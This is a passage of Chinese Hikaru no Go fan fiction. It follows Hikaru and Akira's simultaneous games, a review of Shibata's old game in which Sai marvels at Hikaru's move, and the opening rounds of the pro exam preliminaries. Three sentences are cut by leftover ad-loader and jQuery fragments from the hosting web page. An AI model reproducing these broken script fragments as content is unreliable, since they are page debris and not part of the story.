光忍不住用余光瞟了隔壁的塔矢亮一眼。 还是那副处事不惊的神色。什么嘛,这家伙,好像自信满满的样子。处理三个职业级别的对手都不够让他为难吗? 亮的从容不迫让光突然激起了斗志。 “我可不会输给你!塔矢!”两人明明不是在互相对弈,却胜似在对弈,也许是这种异步交手的兴奋感,让光反倒愈加想要和这个对手较劲到底了,“一定要确保每一局都是胜利!” 他落下棋子的手势比刚才还凌厉了。饭岛几乎以为有一道刀光隔断了自己的发梢。仔细一看,只是进藤光又下出了压迫力十足的一手而已。 在这里叫吃吗?本想把胜负拖到最后的,看来不得不应了啊……饭岛脸上的汗珠越来越多。本以为一对三应该是他们占优势的,毕竟进藤光需要把精力分成三分,他却可以趁进藤和其他人对弈时继续思考盘面,相当于拥有三倍于进藤的时间……在这种状态下,他居然都无法快进藤一步算清吗? 和谷也吃力地咬着手指。 好夸张的计算力!进藤这家伙,刚刚一对一时就已经很恐怖了,怎么一对三还能锋芒不减半分?必须切换策略,趁乱取胜才行!就趁他疲于应付另外两人的空隙之间! 但是,会有这个空隙吗? “……” 光的眼珠左右转动。他不会留给他们反败为胜的机会。先是和谷,再是饭岛,最后是本田。就按照他们座位的顺序依次击破吧,正巧这也是他们棋力高下的顺序。 观战的佐为也从有些紧张不安,到全情投入棋局,最后露出了舒展眉头的神情。 敌人很难缠,三倍的敌人是九倍的难缠,但小光很顺利地做到了。 全部都能赢。 和佐为在同一瞬间对局势做出判断的光抬起眼睛,看向隔壁的那人。 塔矢情况如何? 咔哒—— 是棋子重重放下的声音。但放下棋子的不是轮到出手顺序的塔矢亮,而是坐在他对面的奈濑。 她愁容满面地耸下肩去,发出心服口服的叹息。 那是一枚认输的棋子。 “我输了。”她揉了揉眼前的碎发,“多谢指教。” 光将视线收回自己面前。虽说都能赢,但彻底分出胜负还需要一些时间。 待到他将这三局棋最终全部收拾结束时,听着久原大声宣布期待已久的“进藤三胜”,心里不知为何却毫无喜悦。 心中总有种不安。 “塔矢这边呢?”一听到结果,佐为迫不及待地飘去了隔壁桌。 光和他发出了同样的疑问。他立刻起身。 “也是全胜。”久原展示着他手中的计分板,两人都是三颗白星,只是后面跟着不一样的数字,“——和进藤你不同的是,塔矢用时更短。一小时零三分,就结束了全部对局,而且都是中盘胜。” “什么?!” 用时更短?比他还快吗?! 光难以置信地跑向亮的三尊棋盘前,马上被眼中所见惊呆了。 骗人的吧…… “这是……” 想象中密密麻麻的棋子并未出现,棋子的数量稀少得反常,因为亮的对手没有一人能坚持到官子,他们无一例外,都在前半段就认识到了过于绝望的差距、而选择了主动投降。 那三张棋盘就像坠入深渊一般在光的脑海中盘旋、缩小、远去。 直到这时,久原的声音才慢慢在耳畔响起。 “你知道我不安排你们直接对局的用意吗?”久原的语气格外平静,仿佛最初就预料到了这种结局,“棋士的真正实力,到了职业考试自然见分晓,不必是今天。但塔矢身上有你不具备的素质。一直能下赢他的你,恐怕还没有注意到这素质的真面目吧。” 直接对局无法注意到的……他所不具备的素质? 塔矢亮独具的素质? 光看着那三局棋陷入了短暂的困惑。 为了节省时间,久原干脆直接给出了回答。 “那就是——读解力。” 读解力? 光再次将视线投向那三局棋。佐为一言不发地将扇子挡在面前,同样全神贯注地研究着塔矢亮的棋路。 的确……这么说来…… “在最短的时间内探知对手的深度,并采取最为针对性的应对措施,能让战斗在最开始就决出胜负。”久原一边解说,一边指出各个区域的胜负手,“塔矢亮的锋芒从最早阶段就完全展露给敌人了。在他面前,对手都觉得自己像在赤身裸体,所以很快就会招架不住压力、选择主动认输。” 没错,那过于明显的锋芒,让旁观者都忍不住护住自己的胳膊。寒气袭人。 气势决定了输赢。 塔矢亮能看懂他们的棋,他们也发觉自己被看了个通透。在那种情况下,怎么可能坚持到收官。 光咽了口唾沫。 什么都不必说,他也看得出,塔矢亮以史无前例的速度变强了。 虽然只是短短两周,但此前未能与进藤光直接交手的时间,都被他当成了宝贵的韬光养晦的机会,未曾浪费每一分每一秒。亮不遗余力地向每一位熟悉进藤光棋风的高段棋手请教,为的就是在其后的对弈中将他一军。 这份决心在面对其他实力不如自己的对手时,显得分外尖锐。 也是,亮向来都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是以压倒性的“气势”闻名棋坛的。不论过去,还是现在。若想让对手心生怯意,单凭棋力并不够,还需要那独特的、从心理上粉碎对方退路的“读解力”。 亮准确读取了对手的棋路,并昭然若揭地堵死他们的预期,从而不战而胜。 原来还有这种赢法吗……光的眉头又一次皱了起来。他从没想过自己和亮之间关于赢棋的风格差异,久原说得对,这是他的视线盲区,一对一是注意不到的。 只有双方都展开一对多的对局、必须速战速决时,才能如此明确地表现出来。 塔矢亮其人的恐怖之处。 一直想着如何下赢佐为的光,几乎忘了,身后还有这么一个天才,在步履不停地对自己步步紧逼。再给他一些时间,他说不定真的会瞬间超越自己——用难以置信的天分和努力,超越那长达十年的“多出来的人生”。 他是真正的天才。 还真是一秒都不能放松警惕啊。 见光满脸都是严肃,久原的目的已经达到,他放松了语气,招呼起身后那群还沉浸在全面惨败之中的院生们来。 “好啦!今天谢谢大家!剩下的复盘我们下次周日再进行,大家可以回家了。” “诶?可是……” “棋谱我都记下来啦!你们肯定累了吧?今晚要好好休息哦!别学某人熬大夜在棋盘前打瞌睡呀!” 稍微讨论了几句今天众人的棋,又各自交换电话号码之后,本次漫长的循环赛算是顺利结束。和谷还在念叨着塔矢怎样怎样,俨然已经将其视为眼中钉,伊角保持沉思的模样,奈濑则开始考虑下次如何应对这些超出想象的招式……等他们都走出围棋会所的门,进藤光抄起桌上的红茶一饮而尽,似乎也急着回家和佐为好好聊聊刚才的对弈。 “请留步,进藤!” 就在此刻,突然有人叫住了他。 看到光转身的动作,柴田悠一终于喊出了声。从今天的碰面一开始,他就在纠结自己是不是应该说出这个疑问,但又希望能先对弈一次看看双方现在的实力差距,所以便忍耐着一直没有出声。 没想到,他与进藤光的惨烈对局之后就是破天荒的1v3挑战赛,而且还是他们六人整整齐齐惨败,导致他此刻才找到问询的机会。 光停住脚步,回头望向这个佐和良中学的前辈。 注意到光的反应,正在帮市河收拾桌上的茶水的亮也审视地看着他们。 柴田鼓起勇气道:“我……有几句话想对你说。” “是关于上次那局棋吗?” 进藤光推测出了答案,露出淡淡的微笑。 “是,是的!”柴田的双手不自觉攥紧,“你说有反败为胜的机会……我每天都冥思苦想还是想不出来,虽然也找到了很多弥补损失的方法,不过那些雕虫小技离反败为胜还是差太远……” 他还真被圈进去了。这个家伙,一定每天都在纠结与痛苦中挣扎吧?然后发现完全没有思路,都不想来见他? 进藤光“哈哈”笑出声道:“如果你现在就能想出出奇制胜的法子,那就已经超过普通的职业棋士一大截了,想不出来也不奇怪。” “诶?”柴田当场愣在原地,“……那……就是说……” “就是说?” “你在耍我吗?!进藤!” 柴田气不打一处来,大吼起来。他的标志性呆毛高高翘起,看样子激动得不轻,久原连忙从身后牢牢抱紧他,以免出事。 佐为溜到光身旁以袖遮脸道:“被抱怨了呢,小光。” 进藤光严肃地清了清嗓子。 “我没有骗你,反败为胜确实很难,不过扳回五五局势却是能够做到的。佐……我上次和你对局的时候,为了迅速全面打击你,很多地方还没来得及彻底下死手,所以只要你心不乱,一点一点地救回来,赢的几率并不是零。” “我怎么越听越难过了……” 迅速全面打击……他就真的这么弱么……柴田都快要哭出来了。 “是你们以前的对局吗?棋谱还在吗?” 关键时刻,塔矢亮的及时介入缓解了他们之间突然沉闷的空气。 ●○●○ 68.Chapter 67. 他并非第二个秀策 “都过了这么久了,不过他应该……”进藤光说到一半,停下了自己的语句。 既然是重要的约定之战,再怎么说对方也应该留有记录才对,这样想着,光疑问的目光投向了还在发呆中的柴田。 “啊,是!我今天有带来,那次的棋谱。” 马上,柴田利索地翻出背包里的一张纸,“啪”地一声按在桌上。久原赞许地弯了弯嘴角。机会只留给有准备的人,这个习惯很好,说不定柴田日后也会成为进藤光的潜在对手呢。 “我们可以一起看看吗?”出于礼貌,塔矢亮多问了一句。 “当然。本来我把棋谱带过来,就是为了找进藤问真正的解决方法……虽然有点不甘心,但我真的已经尽力了……” 柴田的话很明显吸引了塔矢亮的注意力,他一脸兴趣盎然的样子,在一张棋盘上开始打谱,细细研究着里面的每一步下法。平日里和进藤光交手甚多,亮对光的棋路熟悉程度绝不输给任何人,尤其是前段时间他找绪方特训后,愈加增进了“进藤学”的了解。 正因如此,他很快便发现了这局棋里光的反常之处。 “……这棋不太像你的风格,进藤。” 亮的评价一出口,光就吓得汗毛竖起。 难不成,塔矢已经精明到发现这局棋是佐为下的了? 糟糕,想想还挺合理的,在研究会里他们常常一起讨论sai的对局,所以亮对于sai的棋风也非常了解。万分之一的概率,他发现了违和之处该怎么解释? 对了对了,就骗他说是自己模仿sai的方法下出来的吧,反正佐为和自己的棋风那么相似,应该没问题……的吧。光一瞬间就想到了这么多事。 “进藤,你的脸色有点不好哦。”柴田满脸狐疑地盯着他。 “诶?有、有吗?哈哈哈……”光连忙干笑,“是不是你看错啦。我精神可好了!现在还能做30个波比跳!” 佐为在一旁无奈地摇了摇头,小光实在是粗枝大叶啊……为什么只有在下棋的时候这个毛病不发作呢…… 亮倒是丝毫不觉怪异,平静地指点着棋谱:“在这局棋里你太过追求速胜,我不否认你确实有那个实力,不过如果对手不是柴田的话,这样下未免略微轻率了。” 还好他没发现。进藤光松了口气。 可是…… “佐为,他说你轻率耶。”进藤光笑着冲佐为挤了挤眼睛,“轻率耶。” “塔矢说得有理,这种下法对高手是没用的,我擅长的棋路也是步步为营,而并非急于求胜。”佐为不骄不躁地分析,并不在意其他,“下棋时采用的办法原本就因人而异,对付柴田君这样棋力的人,有些他看不出来的漏洞不一定要在一开始就补上,这些我都经过了充分的计算和考量。所以,很快局势就能朝我这边倒。” “我知道。所以我才告诉他其实还有反败为胜的机会。”进藤光认真地咬着每一个字,仿佛在以此证明自己的郑重,“如果对手是我的话,就有很大的希望反败为胜。” “这一点我认同,小光。但如果对手是你的话,从开局我就会彻底转变下法,不会让你有机可乘的!”佐为点了点头。 “那我也要努力找到击败你的机会,佐为!”进藤光信誓旦旦地宣布。 佐为没有回答什么,只浅浅地笑着。这样的回应已经足够了。 “这一局,我有信心拉回平手。” 谁都没想到的是,坐在一旁的亮突然冷静地开口了,而且一开口就是惊天炸弹。闻言,柴田用星星眼期待地看着他。 “真的吗,塔矢君?!” 进藤光侧过脸吐槽道:“为什么你对他用敬语,却对我直呼姓名啊……” “可能是气质使然吧。”久原忍不住在一旁补刀。 “你好烦啊!” 这俩又开始学小学生拌嘴了。只有塔矢亮不为所动地拿起了棋子,他一伸手,所有人就都停止了对话,目光齐聚在这位众星拱月的围棋贵公子身上。 “这里,这里,还有这里的断点……” 塔矢亮的手指很白很纤细,他迅速点出了棋盘上几个重要位置,每一个都给人一击毙命的感觉。有些断点看似无关紧要,运用得好的话,其实也能挽回不少失地。此外,还有一些看上去是光占优势的“势”,其实并没有完全稳固,也还有得下,这么早就结束实在可惜了。 果然,塔矢亮还是很厉害。 那份超绝寻常的“读解力”,即使在面对其他对手的棋谱时,也并未褪色半分。 压力十足。光忽然觉得连呼吸都困难了起来。 但是!这样正好!这样他才有不断提升自己的动力!今天也一样!他不会输给塔矢,现在就要想出更好的办法彻底超过这家伙! “哇,不愧是塔矢,找到了好几个有趣的破绽。”佐为惊叹道,“只是,还有一些能改变的东西,他还没有发现。” 光表示同意地点点头,“嗯,如果下在这里的话,就彻底封死他的活路了。所以那还不是最好的解。” “没错,所以……”佐为伸出折扇,打算不紧不慢地说出他早已准备好的答案。 “——如果是我的话,会这样下。” 然而,在佐为计划将原本的见解介绍给三人之前,光抢先一步抓起棋子,将其放置在棋盘某个交叉点之上。 啪—— 那未曾被人发现的、最最耀眼的地方。 刹那间,佐为愣愣地望着那手指延伸的方向,或许是出于欣慰吧,或许又夹杂着些许惊异,他轻轻张开嘴唇,未能发出任何声音,只是将眼中全部的星光聚集在光的棋子落下的位置。 那是和他想说的并不相同的一手。 佐为的最优的一手,并不在那里。 但这,并不是糟糕的一手。 反而以局部死棋为代价,点燃了死寂的角落、将栩栩生机再度带回了全部盘面之上。 是比他想象中更有潜力的一手。 非常美妙的一手。 “小光……你……” 那迷人的星辉在佐为的瞳孔深处闪烁着,佐为一时有些难以置信,初次相遇时,光就表现出了极为不合常理的高深棋力,以12岁少年的年龄来说,实在是强得太超乎寻常了,即使他说自己总是看着秀策的棋谱学习,也很难解释那般超越规律的才华。但直到此时,佐为才确信了一件事。 小光的才华,不止是“第二个秀策”。 他看到了比“秀策的模仿者”更耀眼的东西。 神之一手……或许,真的有机会在他身上出现吧。 就在不久之后的将来。 或许比他猜测的更快。 是因为塔矢亮在身后奋起直追、步步紧逼,才激发出了进藤光百分之百的战斗欲吗。这两个孩子……果然命中注定互为对手。 “看来是我误解了。”这时,塔矢亮忽然轻声叹了口气,他的称赞句句出自真心,“这的确是进藤你下出来的棋。没想到你都思考到这么远的地步了,如果不是本人,不可能布置出这样的局。” ……咦? 明明是真心实意的夸赞,却令佐为心中本来灿烂的笑容忽然急剧冻结。 咦?为什么,他会觉得如此难受? 这一局是佐为下的棋,一开始亮也做出了这样的判断,这让佐为有些偷偷为之欣喜,就像自己的存在得到了确认。但是……在小光做出刚才那番神乎其技的复盘后,亮的想法被悄然改变了。 这是小光下出来的棋? 不是sai,而是……进藤光? 仿佛注意到佐为眼角的落寞一般,光忽然皱着眉头从座位上站起来,大声抗议道:“没有这回事!” 这突然的吼声让塔矢亮惊愕地抬起头。 “你怎么了?进藤?” “……我,不,没什么……” 光一时不知该如何解释内心的动摇。那一局的确是佐为下的,可他无法如实告诉塔矢,在任何人看来,下棋的都是他进藤光,哪怕知道sai是另一人格的久原也是这样认为的,但光很害怕他们都这么说。 下棋的是佐为!不是进藤光!佐为的存在不可以被否定!那样的话,佐为该有多难过啊! 明明难过,却还是要假装没事的样子,因为事实就是他没有自己的躯体,无法拿起棋子与对手交心,幽灵是无法回到现世的,佐为深知这一现实,也不想让自己担心,才会强颜欢笑。 果然……就算重来一次,“谁下的棋”这个问题也会伴随他左右。就像一道绕都绕不开的陷阱。 光欲言又止的神态让佐为瞬间明白了一切。 小光是在顾虑他啊。 没事的,他都懂,藤原佐为还能以真名出现在棋手们的记忆里,还能以sai的名义和世界各地的棋手交流,已经很幸福了。 小光只是努力追逐着自己的背影,现在,几乎快要追上了而已,这是值得高兴的事。 “你可不能因为塔矢这么说就信以为真哦。”为了开解陷入两难的光,佐为微笑着用扇子敲了敲他的头,“小光还没有下赢过我呢!现在就过度自信可是会跌跟头的!与其担心我们被混淆,不如担心下次要如何对付我怎么样?” 啊,佐为也注意到了……明明他不该纠结这种事的……笨蛋! “知道啦!我才没那么想!”光这才放下了紧皱的眉头,故作轻松地转移了话题,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对了,柴田还没听懂吧,我们先把后续摆给他看。帮我一下,塔矢。” 亮立刻点了点头。看柴田悠一云里雾里的迷糊劲儿,还真是没有太听懂,他之所以会升上院生一组,基本上是托了进藤光给他巨大刺激的福,不过他的实力暂时还没办法超过一组里其他的高手。这次的职业比赛,最终名额大概还是会在塔矢、伊角、真柴、辻冈和进藤光之间决出。 “说起来,我也遇到过和这一局有些类似的对局。” 复盘摆到最后,塔矢亮忽然又转移了话题。 光疑惑地眨了眨眼:“类似?” 亮微微颔首。 “你还记得吧,进藤,就是你和绪方先生第一次下的那盘棋。那一局真的下得很好。有段时间我一度觉得你变弱了,当然不是指你水准下降了,而是后来我们的对局,都少了一分那一局里独有的敏锐。但是在你和柴田的这一局里,我又一次感觉到了——这种敏锐。” “咳咳咳!”光连忙打断他。 亮的直觉还是准得惊人。 光又被他的猜测吓了一大跳,只能咳嗽个不停,转移注意力。有人能分辨出进藤光和藤原佐为的差异,他明明应该很担心,却又莫名有点高兴。 “嗯?棋?什么棋?”木已成舟,这突然爆出的猛料怎么可能逃得过小记者的耳朵。 “就是这一局……” 眼看着亮已经开始在棋盘上摆谱了,光却忽然用力按住了他的手。 简直是明目张胆的阻挠。 久原忍不住想追问,那局棋到底是什么?进藤光为什么没有摆给过自己?为什么现在还不想让塔矢亮摆给自己?但看光此刻的眼神,他乖乖把这份好奇心憋了回去。 看来现在不是合适的场合。 就像为了掩饰不安一样,光飞速收拾起了棋盘,语速也不自然地加快了许多:“好了!时间不早了!我们今天就先到这里吧!柴田你也该回家了,不然你父母要担心了!快点!久原你也是!” “别推我啊……进藤,今天的对局要写总结报告喔。仓田先生和你的重新对局也快到了,预选赛之后你要留出一天给他!”小记者恋恋不舍地扭头看了好几次。 “知道啦!回去吧回去吧!” 光拼命表现得正常。殊不知这假装的正常在塔矢亮眼里一看就假得不能再假。 久原总算带着一厚摞棋谱心满意足地叫了辆出租车撤退了,市河也和他一起。送走所有闲杂人等后,在只剩二人的空荡荡的会所大厅里,亮才终于找到机会问出刚才未能问到最后的问题。 “进藤,为什么不让我摆出那盘棋?” 那双墨绿色的眸子还是如此不饶人。 与碰壁就会懂得退让的久原相反,塔矢亮总是毫不留情地将进藤光逼到最深处,只要留有疑惑,他就不会放弃思考,尤其是关于光的棋力的问题。那份执着实在太过热烈了。 光结结巴巴地挠了挠后脑勺:“那是……我随便下的快棋,很多地方都思虑不周,不好意思拿出来讲。没有什么所谓的敏锐,其实都只是莽撞而已啦!” “……真是如此吗。” “真的!比起这个!今年的职业考试,你和我基本上是稳赢,还有一个名额会在他们之中决出呢,你猜会是谁呢?” “是谁都不重要。我要击败的对手只有一个,就是你,进藤光。” 亮的声音毫无动摇。 好像又被拐弯抹角地表白了?光不自在地疯狂眨眼。 不过,只要他不起疑心就好。 虽说抛出这个话题是为了给佐为打掩护,但光也确实很好奇,今年最后一个职业棋士会是谁呢……上一世是伊角运气不好,加上心态不够扎实,才会冒冒失失地丢掉胜算,让真柴成功上位。这一世,对局的对手发生了微妙的变化,伊角又来参加了他们的循环赛特别训练,真说不准结果会怎么样。 好期待啊……和他们一起站上职业棋士的舞台的那一天。 如果自己的存在能够帮助到其他人在围棋之路上走得越来越远的话,自己二度的生命就又多了一份价值。这个想法让他的心情变得轻松了一点。 “不知道预选赛会遇到什么样的家伙,说不定会吓你一跳喔。”光打了个哈欠,抓起书包,对亮挥挥手,“下周棋院见,塔矢。” “可不许败在预选里,进藤。” “才不会呢!我要是这都能输,那真柴充都能当上日本首相了!慢着,不过真让他当首相也未必会比现在差啊……” 随后,少年的声音渐渐消失在门外,塔矢亮脸上的笑意尚未褪去,在星空下染出了璀璨明媚的色彩。 “我相信你。” ●○●○ 69.Chapter 68. 职业预选开始 那一夜,许多人彻夜难眠。 其实就包括他们之中最为年长的伊角慎一郎。 17岁的少年原本不应该有多详实的人生规划,起码一般人不会。但伊角觉得自己一定不属于那个“一般人”的行列。 因为他一定会成为职业棋士。 他是这样相信着,逐渐长大的。 从小,教棋的老师就说他心静气稳,不急不躁,这样的性格最适合学棋,而他也自然不曾辜负老师的期望,棋力一直以温和的速度不断见长,几乎没有经历过什么特别的阻碍或是死循环。 耐心是他成长的法宝,他总是能以十足的功夫去应对任何一个难题,渐渐地,伊角的成绩在院生里也名列前茅,成为这几年来职业棋士期望命中率最高的一人。 然而,今年,这份难能可贵的顺利却出现了不安的浮动。 伊角慎一郎好像是第一次感觉到了所谓“瓶颈”的存在,他的名次依旧排在院生榜首,似乎没什么可担心的,然而,不论怎么样继续努力,都无法找到衡量自己实力是否进步的办法。优秀的后辈一个接一个地出现、考上职业棋士、然后离开,留下他独自在原地踏步,就连最亲近的和谷,也在与自己的对弈中胜利得越来越多。痛苦,烦躁,郁郁不安,面对每一次棋院西窗渐渐下沉的日落时,他都对时间的流逝感到愧疚。这样下去状态只会越来越糟。 也许……自己是需要一个足以刺激身体里潜能的劲敌。 怀着这般思绪万千的心情,他被和谷拉着参加了进藤光组织的循环赛。 进藤光今年2月才加入院生,至今不过短短4个月,胜率却是100%。他的推荐人是四冠王塔矢行洋,师父是网络棋神sai,劲敌是天才少年塔矢亮,但这些华丽的名号都不重要,伊角很清楚事情的本质——又有一个后辈要以狂澜般的势头超过他了——最初,他是这样想的。 直到他来参加了这次循环赛,才猛地发现,比自己厉害的多的人其实就在身边不远处。 除了进藤,塔矢也是他职业之路上必须面对的宿敌。 他们真的很强,很强,完全不值得他心生嫉妒。棋力的差距太悬殊了,让人甚至嫉妒不起来。就是这么强大。 这些角色都将与自己在职业比赛里碰头,这一定是命运的安排。 如果他还想进军职业的话,二人就是他不得不击倒的目标。 现在,这两个未来的恐怖对手竟然都在参加预选赛,而棋艺不如他们的自己却有资格直接进入正赛,总感觉有哪里怪怪的。 “你有什么好操心的啊,伊角先生。”见状,和谷满不在乎地拧开了水杯,“预选晋级的名额基本上是铁打的事实了吧,怎么了,一副心不在焉的样子。” “你说得对,和谷。但是,一想到今年三个名额要被进藤和塔矢亮占走两个……” “所以我们不是已经来了这里特训吗?” 两人此刻正站在一家韩国人常常往来的围棋会所里,面对着室内一群以“不怀好意”的目光回敬他们的中年大叔。涉世未深的和谷趁着劲头冲到这里,结果真到了该上阵的时候,反而紧张起来。 糟糕,不能再呆站下去了…… 和谷意识到自己的声音会有点发抖,于是清了清嗓子。 “早上好啊,诸位!要不要和我们来一盘?” 接着,和谷扬起笑脸,把肩上的背包向前一挥,稳稳地落在其中一个座位上。 伊角一脸担心地望着他。 “……没办法,我就舍命陪君子吧。” 他说完,也把自己的书包放在了另一个座位上。 这对挚友之中,必须有一个人战胜对方、另一个人无缘今年的职业段位,又或者,他们必须联手击败进藤光或塔矢亮之中的一人。就是这么残酷的现实。 但是,职业围棋,就是必须残酷,才能拓宽人类的极限。 7月,东京都,日本棋院会馆。 “你来得真早啊,奈濑。” 本田站在玄关处换鞋的时候,顺便同神色不安的奈濑明日美打了招呼。往常熟悉的棋院大厅变得无比陌生,他很高兴见到的第一个人是认识的院生,这能多少降低内心深处的不安,显然,对方也拥有同样的心情。 “嗯,也许是觉得有点静不下来吧。”她偏着头笑了笑,此刻的日本棋院会馆里只有他们两人,和寥寥无几的负责接待他们的工作人员。 的确很早。为什么她会想早早地来到这里呢…… 因为就算窝在家里,也不会改变什么。也许她只是想做一些能让自己心情平静下来的事吧。 “其实我也一样。从循环赛回来我就一直在想,自己是什么时候就落后给两个比我小的孩子那么多呢……不过,一觉醒来又觉得,正是因为有他们这样的对手,我才能更加拼命地下棋,对未来又充满了期望。” 说罢,本田露出了很热烈的表情。奈濑的心里闪过一点点羡慕,像本田一样热血沸腾地流露斗志之类的事,她实在不太擅长,男孩子们都是怎么突然就燃起斗志的呢。 “期望……?能这么想真是太好了。” “不,要是不这么想的话,我们就会坚持不下去了吧。”本田的微笑里也有一点寂寞。 奈濑立刻明白了他的心情。 “也是。” 闲聊片刻后,两人步入内室稍作休息。过了不久,便开始陆陆续续有新的人进来,有院生,更多的是从未谋面的来自外界的成年人。就比如说,进藤光和佐为二人的老熟人—— “是椿先生!” 佐为听见进藤光兴高采烈地叫着某个人的名字,便也好奇地伸长脖子望过去,只见一个身材魁梧半脸络腮胡子的大叔正骑着摩托车疾驰而来。好夸张的打扮,该说是充满野性呢……还是不修边幅呢…… “他也是小光认识的人?”佐为吃惊地打量着椿头上的巨大墨镜。 “算……是吧。不过现在我们还没办法称得上熟人。” “哦?”佐为似懂非懂地晃着脑袋。 “要是他能成功考上职业就好了。” 进藤光看到曾经怕得要死、如今却亲切得要死的椿俊郎的身影,不禁百感交集。 对啊,椿先生一直喜欢围棋喜欢得要命,却没能在年龄期限前通过考试,最后只能在工地里干活为生。每年职业考试的合格名额太少了,根本就不够分嘛!今年的椿先生应该是29岁左右的样子吧,留那么夸张的大胡子,真是活生生显老了二十年。 “他很厉害吗?明明看上去完全不像下围棋的人。”佐为问。 “啊,从某些方面来说,确实。虽然这次很有可能通过不了,但是我想他明年应该还会再来哦。” 上辈子的进藤光就是在这一年的第二年才遇到椿的,距离他放弃围棋应该还有最后一年。光拼命忍住了和他道早安的冲动,先走进等候室,一眼就认出来好几个似曾相识的面孔,大概以前都在职业考试里对弈过。这么一想,哗的一下,某种只有在战场上才能感受到的战栗很快散布全身,与他从前参加的任何一次比赛都没有区别。 光的神情忽然变得格外肃穆,就连佐为也为之侧目。 无论是什么样的强者,在踏上生死赛场的时候,都很难不被紧张所吞噬。 直到看到对局表的时候,光难以控制的情绪才有所好转。 “什么呀,第一场我对真柴。终于找到机会好好修理他一顿了!哈哈哈!” 看到进藤光脸上洋溢着的笑容,从旁边路过的柴田莫名觉得很解压。真想看到真柴被进藤胖揍一顿的表情,肯定输得五官都会扭曲吧? 但很快他就笑不出来了,因为他的第一个对手不巧正是“那个”塔矢亮。 “早安。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亮甚至还礼貌地跟他打了招呼。 柴田立刻绷直了后背。亮的眼中毫无波动,对于区区预选赛,他根本没有太过在意,除了进藤光以外的人在他面前的战斗力都非常有限,沉着应战即可。就连下棋的途中,亮时不时看向的也不是对手柴田的脸,而是不远处进藤光的后背。 柴田就完全相反了。循环赛的经历不仅没有给他带来正面激励,反而导致他一开局他就差点直接认输。结果自然是惨败中的惨败。 而进藤光这边,还在“慈眉善目”地会见旧友。 “哟,真柴。” “……干、干嘛?”真柴不自觉地后退了一步。 “嘿嘿。没事,就是有点想你了。” “?” 光笑里藏刀的眼神给了他莫大的刺激,真柴甚至有种自己瞬间被丢进鳄鱼池的错觉,一口就能丢了手臂。 不消半小时,棋院对局会场里就传出了真柴充穿透性极强的惨叫声。 柴田同情地叹了口气。 输了棋的人自然愁眉苦脸,可佐为高兴得不得了,他久违地见到这么多人下棋,心情那叫一个异常亢奋,一会儿围观和谷与椿的耗时对峙,一会儿又溜回来看看光与真柴的进展,转来转去不亦乐乎。当他再次转回光身旁时,胜负就已经差不多揭晓了。 “好耶!一胜!” “没什么好庆祝的啦,这是理所当然的!塔矢也赢了!”光躲开了佐为蹭上来的脸,“等我赢了塔矢再说!” “有什么关系嘛,小光赢了棋,我就是很开心呀!” 第二天,又是理所当然地,进藤光赢了阿福。 这时候的阿福看着还不太机灵的样子,一上场就完全被进藤光耍得团团转,压根反应不过来,也不知道为什么他后来偶尔还能下赢院生第二名的越智。想到明年越智本人才会加入院生,光又觉得有点可惜,要是能在这里和那小子切磋一把应该还挺有趣的。 第三天的对手是一个外来的青年女性,下起棋来经常凭直觉走出奇怪的下法,倒是让光多花了些时间适应,不过到终局也没看出对方有什么深意,果然只是想走走不一样的路线吧…… 这样一来就是三胜了。顺利晋级本赛! 这下久原总能放心了吧。进藤光耸了耸肩,从会馆离开,和他一起出来的还有塔矢亮和其他几个院生,他们都是到此为止就攒够三胜的人,加上可以直接进入职业考试的正赛的伊角、和谷、饭岛、辻冈,光已经预料到了未来的敌人主要是些什么样的面孔。 其他人,包括进藤光第一看不爽的真柴在内,都还需要在预选赛里待几天。 真不知道真柴运气怎么会那么好,就考上职业了呢……老天爷可真是没开眼。进藤光在心中默默地叹了口气。就在这时,他听见耳边传来一个清冷的嗓音。 “父亲说,他打算暑假前回来一趟。” 看到是塔矢亮朝他走来,光原本以为他会说出“你果然也通过了”或者“没能在预选里交手真遗憾”之类的话,没想到他一开口,就是一颗威力巨大的史诗级炸弹。 闻言,佐为顿时精神抖擞地直起腰:“塔矢名人!” 进藤光自然也很激动,他直接露出嘴角都快飞上月球的笑容,声音也放大了数倍:“塔矢老师?不是说正在参加中国的什么比赛吗?怎么突然要回来了?!” 对于光的兴奋,亮早已有所预料,不过即使他的脸上是一贯的冷静沉着,也无法彻底抹去眼眸之间的沸腾,毕竟这也是父亲久违的归家。不知他的棋力在中国进化了多少,恐怕全国上下都在期盼他的归来吧。 “是的,但是他下一轮要参加的中国围棋甲级联赛要到7月才开始正赛,所以在此之前想回家来看看。” 听到这个关键词,光握住的拳头更紧了,“围甲?那不是中国很顶尖的赛事吗?!” ●○●○ 70.Chapter 69. 由谁来下棋 亮轻轻点头。“那时应该正好在职业考试途中,未来的一周,如果你遇到什么问题想探讨,直接来我家便是,父亲说随时欢迎你。” “真的?哇啊!谢谢你,塔矢!” 顺利得到期待中的邀请,进藤光立马笑开了花。倒是亮第一次被他这么热忱洋溢的笑容弄得不知所措起来。 “……啊,嗯。” 佐为则更加期待地抓住光的衣袖,摇晃个不停:“呐,呐,小光,这是不是说明,我们可以去找塔矢名人下棋了?” 这个千年棋痴早就等得急不可耐了。真要说起来,在塔矢行洋远赴海外的这些日子里,他也并不是没有以sai的名义与对手在网上交过手,不过再怎么说,在网上对弈终究不如面对面来得惊心动魄。从得知他们可能很难再重聚的时候开始,佐为的心底里就一直潜藏着能够与那个人再一次尽兴手谈的愿望。 而如今,这个愿望似乎马上就能实现了。这怎么能叫他不开心。 “诶?可是职业考试期间要保持状态,可能没有足够的时间……” 光的话刚刚说出口,佐为就露出了有点失落的小表情,这微妙的变化使光心头一震,不知不觉便顺嘴改了口:“但如果佐为想去,我也绝对会很高兴地带你去的!” “真的?”佐为没那么多小心思,听见光让步,只当自己终于能与命中注定的对手重逢而万分欣喜,大大的眼睛里也开始闪闪发亮,“不可以耍赖哦!小光!” “放心!不会耍赖啦,我也想亲自见见塔矢老师啊。” 进藤光的目光突然柔和下来,他看着佐为眉飞色舞的样子,不禁为自己的选择而庆幸。无限的思绪,只化作唇边难以分辨的淡淡的浅笑。 能下棋,是一件很幸福的事,对吧,佐为…… 亮注意到他脸上一系列的神情变化,有些疑惑地眨了眨眼。 他用问题打断了光:“对了,父亲还托我问,为什么这几天sai都不上网下棋了。” 